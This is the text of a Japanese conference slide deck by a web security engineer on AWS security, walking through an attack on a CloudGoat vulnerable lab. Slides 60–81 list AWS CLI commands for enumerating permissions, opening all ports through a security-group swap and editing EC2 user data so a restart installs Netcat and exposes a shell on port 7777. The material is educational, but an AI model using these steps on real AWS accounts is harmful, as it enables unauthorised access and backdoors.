Webセキュリティエンジニアから見るAWSセキュリティ
- 3. 自己紹介 【名前】 安達 智弘(Adachi Tomohiro) 【会社】 株式会社 神戸デジタル・ラボ セキュリティ事業部 【取り組み】 Webアプリケーションの 脆弱性診断業務に従事。 ピカピカのエンジニア１年生
- 4. 自己紹介 【名前】 安達 智弘(Adachi Tomohiro) 【会社】 株式会社 神戸デジタル・ラボ セキュリティ事業部 【コミュニティ】 ・大和セキュリティ ・神戸脆弱性診断の会
- 7. AWS全く分からない・・
- 15. ひぃぃぃぃぃぃい
- 17. AWSへのアクセス方法 アクセス方法 認証方法 マネジメントコンソール メールアドレス＋パスワード or ユーザ名＋パスワード AWS CLI IAMユーザのアクセスキー or 一時的なアクセスキー
- 22. もちろん対策の方法がある
- 24. ポリシーってどういうこと・・
- 25. 避けては通れない ポリシーの概念
- 29. まだ分けられる
- 32. まだまだ分けられる
- 49. 認証情報を得る
- 54. ここからが本日の本題
- 56. 実際に攻撃者目線で 検証してみた
- 57. Cloud Goat Rhino Security Labsの 脆弱なAWS環境を構築する オープンソースソフトウェア。 今回はこれを使用して構築した 脆弱な環境へ 攻撃を仕掛けてみた
- 60. 作業者のプロファイル作成 $ aws configure --profile xxx AWS CLIを使用する上での、クレデンシャル情報の登録 今後、アクセスキーの持ち主であるIAMユーザの権限で作業する
- 62. 権限を確認してみる $ ./nimbostratus dump-permissions --access-key=xxx -- secret-key=yyy EC2に関する 権限がある
- 65. EC2の情報の取得 $ aws --profile adachi ec2 describe-instances
- 66. EC2の情報の取得 $ aws --profile adachi ec2 describe-instances
- 68. セキュリティグループの確認(1/3) $ aws --profile adachi ec2 describe-security-groups 「Tcp 80」が解放される 現在のセキュリティグループ
- 69. セキュリティグループの確認(2/3) $ aws --profile adachi ec2 describe-security-groups 「Tcp 22」が解放される
- 70. セキュリティグループの確認(3/3) $ aws --profile adachi ec2 describe-security-groups 「Tcp 0-65535」が解放される これだと好き勝手できそう！
- 72. セキュリティグループ変更 $ aws --profile adachi ec2 modify-instance-attribute --instance-id i-xxxxxxxxxxxxxxxx --groups sg-xxxxxxxxxxxxxxxxx これで任意のポートが使えるようになった！
- 77. ユーザデータの取得 $ aws --profile adachi ec2 describe-instance-attribute --instance-id i-xxxxxxxxxxxxxx --attribute userData
- 78. ユーザデータをデコードして確認
- 79. ここに仕掛けてみましょう
- 80. ユーザデータを編集
- 81. インスタンスの再起動 $ aws --profile adachi ec2 stop-instances --instance-id i- xxxxxxxxxxxxxxx $ aws --profile adachi ec2 start-instances --instance-id i- xxxxxxxxxxxxxxx Netcatをインストールして 7777ポートにシェルを渡すはず
- 91. OSコマンドインジェクション
- 99. ご清聴ありがとうございました